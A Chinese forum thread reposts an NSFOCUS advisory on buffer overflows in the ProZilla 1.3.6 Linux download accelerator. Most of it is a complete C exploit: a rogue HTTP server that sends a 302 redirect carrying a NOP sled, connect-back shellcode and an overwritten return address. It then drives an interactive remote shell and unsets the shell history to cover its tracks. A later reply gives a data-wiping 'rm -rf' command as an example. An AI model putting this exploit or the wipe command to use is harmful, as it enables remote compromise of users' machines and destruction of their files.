刚下载了prozilla 结果发现........ ZT

readk

http://www.nsfocus.net/index.php ... d=7157&keyword=

ProZilla多个安全漏洞

发布日期：2004-11-23
更新日期：2004-11-26

受影响系统：

    ProZilla ProZilla 1.3.6

描述：prozilla是一款Linux下的下载加速程序。

prozilla存在多个安全缓冲区溢出，远程攻击者可以利用这个漏洞以用户进程权限在系统上执行任意指令。

prozilla在处理网络协议时存在缓冲区溢出，远程攻击者可以设置恶意服务器，诱使用户使用ProZilla获取文件，可导致以用户进程权限在系统上执行任意指令。

<*来源：Gentoo Linux Security Advisory
  
  链接：http://marc.theaimsgroup.com/?l= ... 23398421738&w=2
        http://marc.theaimsgroup.com/?l= ... 36626320497&w=2
*>

测试方法：

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Serkan Akpolat （deicide@siyahsapka.org）提供了如下测试方法：

1. 
   
2. /* 20/10/2004
   
3. ** This is a private work of Serkan Akpolat [email]deicide@siyahsapka.org[/email]
   
4. ** for the unpublished prozilla-1.3.6 format string/buffer overflow
   
5. ** vulnerability , though this version only exploits the stack overflow.
   
6. ** Tested against current gentoo/slack/debian/suse with success. :P
   
7. ** Client side: proz hostname:port/anyfile.name
   
8. ** Default listen port is 8080
   
9. ** Homepage: [url]www.siyahsapka.org[/url] ||  deicide.siyahsapka.org
   
10. **/
    
11. 
    
12. #include <stdio.h>
    
13. #include <stdlib.h>
    
14. #include <sys/types.h>
    
15. #include <sys/wait.h>
    
16. #include <sys/socket.h>
    
17. #include <netinet/in.h>
    
18. #include <arpa/inet.h>
    
19. #include <unistd.h>
    
20. #include <string.h>
    
21. #include <signal.h>
    
22. #define PORT 8080
    
23. #define MAX_RESPONSE 2048
    
24. #define TRUE 1
    
25. 
    
26. char packet_start[]=\
    
27. "HTTP/1.1 302 Found\r\n"
    
28. "Location: [url]http://[/url]";
    
29. 
    
30. char packet_end[]=\
    
31. "\r\n"
    
32. "Content-Encoding: gzip\r\n"
    
33. "Content-Type: text/html; charset=iso-8859-1\r\n"
    
34. "Connection: close\r\n\r\n";
    
35. 
    
36. /* Shellcode with no control character.
    
37. ** Nop's in the shellcode will be patched for attacker defined ip port
    
38. ** at runtime.
    
39. */
    
40. char real_response[]=\
    
41. "HTTP/1.1 302 Found\r\n"
    
42. "Location: [url]http://blahblahblah.com/movie.wmv\r\n[/url]"
    
43. "Content-Encoding: gzip\r\n"
    
44. "Content-Type: text/html; charset=iso-8859-1\r\n"
    
45. "Connection: close\r\n\r\n";
    
46. 
    
47. 
    
48. unsigned char shellcode[] = {
    
49.   /* write(1,"\n\n\n\n",4) 0x31 times */
    
50.   0x31, 0xf6, 0x31, 0xff, 0x83, 0xc6, 0x31, 0x31, 0xc0, 0xb9, 0x5a, 0x5a,
    
51.   0x5a, 0x5a, 0x81, 0xe9, 0x50, 0x50, 0x50, 0x50, 0x51, 0x54, 0x59, 0x31,
    
52.   0xdb, 0x43, 0x40, 0x40, 0x40, 0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42,
    
53.   0xcd, 0x80, 0x47, 0x39, 0xf7, 0x75, 0xdc,
    
54.   /* write(1,"\n\n\nEnd of file while parsing header",38);*/
    
55.   0x31, 0xc0, 0x31, 0xdb, 0xbe, 0x4a, 0x4a, 0x4a, 0x4a, 0x81, 0xee, 0x40,
    
56.   0x40, 0x40, 0x40, 0x56, 0x68, 0x61, 0x64, 0x65, 0x72, 0x68, 0x67, 0x20,
    
57.   0x68, 0x65, 0x68, 0x72, 0x73, 0x69, 0x6e, 0x68, 0x65, 0x20, 0x70, 0x61,
    
58.   0x68, 0x77, 0x68, 0x69, 0x6c, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x68, 0x6f,
    
59.   0x66, 0x20, 0x66, 0x68, 0x45, 0x6e, 0x64, 0x20, 0x54, 0x59, 0x43, 0x40,
    
60.   0x40, 0x40, 0x40, 0x31, 0xd2, 0xb2, 0x24, 0xcd, 0x80,
    
61.   /* fork(); */
    
62.   0x31, 0xc0, 0x40, 0x40, 0xcd, 0x80,
    
63.   /* If we are parent  exit(?) */
    
64.   0x31, 0xdb, 0x39, 0xc3, 0x74, 0x23, 0x31, 0xc0, 0xfe, 0xc0, 0xfe, 0xc8,
    
65.   0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,
    
66.   0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,
    
67.   0xfe, 0xc0, 0x43, 0xcd, 0x80,
    
68.   /* setsid() */
    
69.   0x31, 0xc0, 0xb0, 0x42, 0xcd, 0x80,
    
70.   /* signal(SIGHUP,SIG_IGN) */
    
71.   0xb0, 0x30, 0x66, 0x29, 0xdb, 0x43, 0x89, 0xd9, 0xcd, 0x80,
    
72.   /* sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP) */
    
73.   0x31, 0xc0, 0x50, 0x40, 0x50, 0x40, 0x50, 0x89, 0xe1, 0xb0, 0x66, 0xcd,
    
74.   0x80,
    
75.   /* i = connect(sock, sockaddr, 16) */
    
76.   0x89, 0xc6, 0x4b, 0x53, 0x53, 0xbf, 0x90, 0x90, 0x90, 0x90, 0x81, 0xf7,
    
77.   0x90, 0x90, 0x90, 0x90, 0x57, 0x66, 0xba, 0x90, 0x90, 0x66, 0x81, 0xf2,
    
78.   0x90, 0x90, 0x66, 0x52, 0x43, 0x43, 0x66, 0x53, 0x89, 0xe2, 0xb3, 0x50,
    
79.   0x80, 0xeb, 0x40, 0x53, 0x52, 0x50, 0x89, 0xe1, 0xb3, 0x4f, 0x80, 0xeb,
    
80.   0x4c, 0xb0, 0x66, 0xcd, 0x80,
    
81.   /* if (i != 0) jmp exit(?) */
    
82.   0x31, 0xc9, 0x39, 0xc8, 0x75,0x57,
    
83.   /* write(sd,"SSSS",4) */
    
84.   0x68, 0x53, 0x53, 0x53, 0x53, 0x54, 0x59, 0x89, 0xf3, 0x40, 0x40, 0x40,
    
85.   0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42, 0xcd, 0x80,
    
86.   /* dup2 loop */
    
87.   0x31, 0xc9, 0x41, 0x41, 0xb0, 0x3f, 0xcd, 0x80, 0x49, 0x75, 0xf9, 0xb0,
    
88.   0x3f, 0xcd, 0x80,
    
89.   /* execve("/bin/bash",{"bash",NULL} , NULL) */
    
90.   0x31, 0xc0, 0x31, 0xd2, 0x50, 0x6a, 0x68, 0xb8, 0x40, 0x34, 0x34, 0x33,
    
91.   0x35, 0x6f, 0x56, 0x55, 0x40, 0x50, 0xb8, 0x40, 0x31, 0x34, 0x33, 0x35,
    
92.   0x6f, 0x53, 0x5d, 0x5d, 0x50, 0x54, 0x5b, 0x31, 0xc0, 0x50, 0x68, 0x62,
    
93.   0x61, 0x73, 0x68, 0x89, 0xe7, 0x50, 0x57, 0x54, 0x59, 0xb0, 0x4b, 0x2c,
    
94.   0x40, 0xcd, 0x80,
    
95.   /* exit(?); */
    
96.   0x31, 0xc0, 0x40, 0xcd, 0x80
    
97. };
    
98. 
    
99. 
    
100. void usage(char *progname)
     
101. {
     
102.     fprintf(stderr, "Usage: %s [-cp] [ip]\n\n"\
     
103.     "-c <ip address> connectback ip address\n"\
     
104.     "-p <port>       connectback port (default = 8080)\n", progname);   
     
105.     exit(1);
     
106. }
     
107. 
     
108. /* Interactive shell session */
     
109. void shell(int sock)
     
110. {
     
111.     /* from sambal.c, hey eSDee ;) */
     
112.     fd_set  fd_read;
     
113.     char buff[1024], *cmd="unset HISTFILE; echo "*** Hobareeeey! ***";uname -a;id;\n";
     
114.     int n;
     
115.     FD_ZERO(&fd_read);
     
116.     FD_SET(sock, &fd_read);
     
117.     FD_SET(0, &fd_read);
     
118.     send(sock, cmd, strlen(cmd), 0);
     
119.    
     
120.     while(1) {
     
121.         FD_SET(sock,&fd_read);
     
122.         FD_SET(0,&fd_read);
     
123.         if (select(FD_SETSIZE, &fd_read, NULL, NULL, NULL) < 0 ) break;
     
124.         if (FD_ISSET(sock, &fd_read)) {
     
125.             if((n = recv(sock, buff, sizeof(buff), 0)) < 0){
     
126.                 fprintf(stderr, "EOF\n");
     
127.                 exit(2);
     
128.             }
     
129.             if (write(1, buff, n) < 0) break;
     
130.         }
     
131.         if (FD_ISSET(0, &fd_read)) {
     
132.             if((n = read(0, buff, sizeof(buff))) < 0){
     
133.                 fprintf(stderr, "EOF\n");
     
134.                 exit(2);
     
135.             }
     
136.             if (send(sock, buff, n, 0) < 0) break;
     
137.         }
     
138.         usleep(10);
     
139.     }
     
140.     fprintf(stderr, "Connection lost.\n\n");
     
141.     exit(0);
     
142. }
     
143. 
     
144. void put_ip(int i,int j)
     
145. {
     
146.     shellcode[j]=i;
     
147. }
     
148. 
     
149. void put_xor(int i,int j,int k)
     
150. {
     
151.     shellcode[j+k]=i;
     
152. }
     
153. 
     
154. int find_xor(int a,int b,int c)
     
155. {
     
156.     int i=49,j=49;
     
157.     for(i=49;i<255;i++) {
     
158.         for(j=49;j<255;j++) {
     
159.             if(a==(i^j)) {
     
160.                 put_ip  (i,b);
     
161.                 put_xor (j,b,c);
     
162.                 b++;
     
163.                 return b;
     
164.             }
     
165.         }
     
166.     }
     
167.     return -1;
     
168. }
     
169. 
     
170. void check_zombie(int x)
     
171. {
     
172.     waitpid(-1,NULL,WNOHANG);
     
173. }
     
174. 
     
175. 
     
176. void send_start(int connection)
     
177. {
     
178.     if (send(connection,packet_start,strlen(packet_start),0)==-1) {
     
179.         perror("send");
     
180.     }
     
181.     fprintf(stderr,"[+] Sending Header Start\n");
     
182. }
     
183. 
     
184. void send_nop(int connection)
     
185. {
     
186.     int  i = 0;
     
187.     int  j = 1;
     
188.     char buffer [1024] ="AA@@";
     
189.     char counter [128];
     
190.    
     
191.     memset(counter ,0x00,128 );
     
192.     memset(buffer+3,0x41,1021);
     
193.     buffer[1024-1]='\0';
     
194. 
     
195.     while(i<96) {
     
196.         if (send(connection,buffer,strlen(buffer),0)==-1) {
     
197.             perror("send");
     
198.         }
     
199.         i++;
     
200.         if(!(i%4))
     
201.             j++;
     
202.         memset (counter,0x2b,j);
     
203.         memset (counter+j,0x20,26-j);
     
204.         fprintf(stderr ,"\r[+] Sending 96kb Nop [ %s]",counter);
     
205.         memset(counter,0x00,sizeof(counter));
     
206.     }
     
207.    
     
208.     fprintf(stderr,"\n");
     
209.     fprintf(stderr,"[+] Sending Shellcode\n");
     
210.    
     
211.     if (send(connection,shellcode,strlen(shellcode),0)==-1) {
     
212.         perror("send");
     
213.     }
     
214.    
     
215. }
     
216. 
     
217. void send_hostname(int connection)
     
218. {
     
219.     int  i = 0;
     
220.     char fill_buffer[1600];
     
221.     memset(fill_buffer,0x00,1600);
     
222.    
     
223.     /* We dont care about alignment, return 0x08080808 */
     
224.    
     
225.     for(;i<400;i++) {
     
226.         strcat(fill_buffer , "\x08\x08\x08\x08");
     
227.     }
     
228.    
     
229.     fprintf(stderr,"[+] Sending Return address [ 0x08080808 ]\n");
     
230.    
     
231.     if (send(connection,fill_buffer,1600,0)==-1) {
     
232.         perror("send");
     
233.     }
     
234. }
     
235. 
     
236. void send_end(int connection)
     
237. {
     
238.     fprintf(stderr,"[+] Sending Header End\n");
     
239.     if (send(connection,packet_end,strlen(packet_end),0)==-1) {
     
240.         perror("send");
     
241.     }
     
242. }
     
243. 
     
244. int init_socket(struct sockaddr_in *control_addr,struct sockaddr_in *from_addr,int *from_len)
     
245. {
     
246.     int control;
     
247.    
     
248.     if((control=socket(AF_INET,SOCK_STREAM,0))<0) {
     
249.         perror("Socket:");
     
250.         exit(1);
     
251.     }
     
252.    
     
253.     control_addr->sin_port=htons(PORT);
     
254.     control_addr->sin_addr.s_addr=INADDR_ANY;
     
255.     control_addr->sin_family=AF_INET;
     
256. 
     
257.     if((bind(control,(struct sockaddr *)control_addr,sizeof(*control_addr)))!=0) {
     
258.         perror("Bind:");
     
259.         exit(1);
     
260.     }
     
261.     if(listen(control,128)!=0) {
     
262.         perror("Listen:");
     
263.         exit(1);
     
264.     }
     
265. 
     
266.     *from_len =sizeof(*from_addr);
     
267.     signal(SIGCHLD,check_zombie);
     
268.     return control;
     
269. }
     
270. 
     
271. 
     
272. int main(int argc,char **argv)
     
273. {
     
274.     /* ip patch position */
     
275.     int    i=194;
     
276.     int    opt_p=0,opt_c=0;
     
277.     int    port,porthigh,portlow;
     
278.     int    c,f;
     
279.     int    control;
     
280.     int    connection,from_len;
     
281.     int    ip1,ip2,ip3,ip4;
     
282.     char   http_response [2048];
     
283.     char   client_request[2048];
     
284.     struct sockaddr_in *control_addr = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in));
     
285.     struct sockaddr_in *from_addr    = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in));
     
286.    
     
287.     while((c=getopt(argc, argv ,"hc:p:"))!=EOF) {
     
288.             switch (c) {
     
289.                 case 'h':
     
290.                     usage(argv[0]);
     
291.                 case 'c':
     
292.                     opt_c=1;
     
293.                     sscanf(optarg, "%d.%d.%d.%d", &ip1, &ip2, &ip3,&ip4);
     
294.                     break;
     
295.                 case 'p':
     
296.                     opt_p=1;
     
297.                     port = atoi(optarg);
     
298.                     if ((port <= 0) || (port > 65535)) {
     
299.                         fprintf(stderr, "Invalid port.\n\n");
     
300.                         exit(1);
     
301.                     }
     
302.             }
     
303.     }
     
304.     if(opt_p) {
     
305.         porthigh = (port & 0xff00) >> 8;
     
306.         portlow  = (port & 0x00ff);
     
307.     }  
     
308.     else {
     
309.         port     = 8080;
     
310.         porthigh = (port & 0xff00) >> 8;
     
311.         portlow  = (port & 0x00ff);
     
312.     }
     
313.     if(!opt_c) {
     
314.         usage(argv[0]);
     
315.     }
     
316.     memset(http_response,0x0,MAX_RESPONSE);
     
317.     control = init_socket(control_addr,from_addr,&from_len);
     
318.    
     
319.     /* patch ip */
     
320.     i = find_xor(ip1,i,6);
     
321.     i = find_xor(ip2,i,6);
     
322.     i = find_xor(ip3,i,6);
     
323.     i = find_xor(ip4,i,6);
     
324. 
     
325.     /* patch port */
     
326.     i  = 207;
     
327.     i = find_xor( porthigh,i,5);
     
328.     i = find_xor( portlow ,i,5);
     
329.    
     
330.    
     
331.     while(TRUE) {
     
332.         if((connection=accept(control,(struct sockaddr *)from_addr,&from_len))==-1) {
     
333.             exit(1);
     
334.         }
     
335.         
     
336.         fprintf(stderr,"[+] Victim at : %s\n", inet_ntoa(from_addr->sin_addr));
     
337.         if (read(connection,client_request,sizeof(client_request))==0) {
     
338.             exit(1);
     
339.         }
     
340.         
     
341.         /* Victim Responded */
     
342.         if(strstr(client_request,"Prozilla"))
     
343.         {
     
344.             fprintf(stderr,"[+] Victim using Prozilla.\n");
     
345.             f=1;
     
346.         }
     
347.         else {
     
348.             if(strstr(client_request,"SSSS")) {
     
349.                 fprintf(stderr,"Nice , Victim Responded!\n");
     
350.                 shell(connection);
     
351.             }
     
352.             else {
     
353.                 fprintf(stderr,"[+] Victim is not using Prozilla! Sending a normal response.\n");
     
354.                 if(send(connection,real_response,strlen(shellcode),0)==-1) {
     
355.                     perror("send");
     
356.                 }
     
357.             }
     
358.         }
     
359.         if(f==1) {
     
360.             /* HTTP */
     
361.             send_start(connection);
     
362.             /* nop sled [nop@] */
     
363.             send_nop(connection);
     
364.             /* Overwrite Saved Ret , return to heap */
     
365.             send_hostname(connection);
     
366.             /* HTTP END */
     
367.             send_end(connection);
     
368.             f=0;
     
369.         }
     
370.         close(connection);  
     
371.         memset(client_request,0x0,sizeof(client_request));
     
372. 
     
373.         if (fork()==0) {
     
374.                free(from_addr);
     
375.             free(control_addr);
     
376.             exit(0);
     
377.         }
     
378.         else {
     
379.             close(connection);
     
380.         }
     
381. 
     
382.     }
     
383. 
     
384.     printf("Done");
     
385.     return 0;
     
386. }
     

复制代码

建议：厂商补丁：

ProZilla
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://prozilla.genesys.ro/

浏览次数：72
严重程度：0（网友投票）

神游九州

prozilla存在多个安全缓冲区溢出，远程攻击者可以利用这个漏洞以用户进程权限在系统上执行任意指令。
晕！你用普通用户登录的，普通用户权限能造成多大影响啊？

Fleta

最初由 神游九州 发表
普通用户权限能造成多大影响啊？

例如
$ rm -rf ~/* ; rm -rf ~/.*
?:p

神游九州

没有什么系统是完全安全嘀～～～～～